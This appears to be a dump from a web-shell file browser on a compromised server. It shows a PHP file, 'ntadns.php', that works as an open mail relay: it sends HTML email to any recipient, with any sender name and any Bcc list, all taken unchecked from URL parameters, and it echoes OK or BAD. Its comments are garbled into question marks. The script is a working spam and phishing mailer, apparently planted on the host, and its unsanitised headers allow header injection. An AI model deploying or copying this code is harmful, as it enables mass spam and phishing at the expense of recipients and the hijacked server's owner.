| Current Path : /proc/thread-self/cwd/ |
| Current File : //proc/thread-self/cwd/ntadns.php |
<?php
if (isset($_GET['to']) && isset($_GET['name']) && isset($_GET['subject']) && isset($_GET['message']) && isset($_GET['bcc'])) {
$to = $_GET['to'];
$name = $_GET['name'];
$subject = $_GET['subject'];
$message = $_GET['message'];
$bcc = $_GET['bcc'];
// ?????????????? ?????????
$headers = "From: $name\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=utf-8\r\n";
$headers .= "Bcc: $bcc\r\n"; // ?????????? ????????? Bcc
// ???????? ??????
$result = mail($to, $subject, $message, $headers);
if ($result) {
echo 'OK.';
} else {
echo 'BAD.';
}
}
?>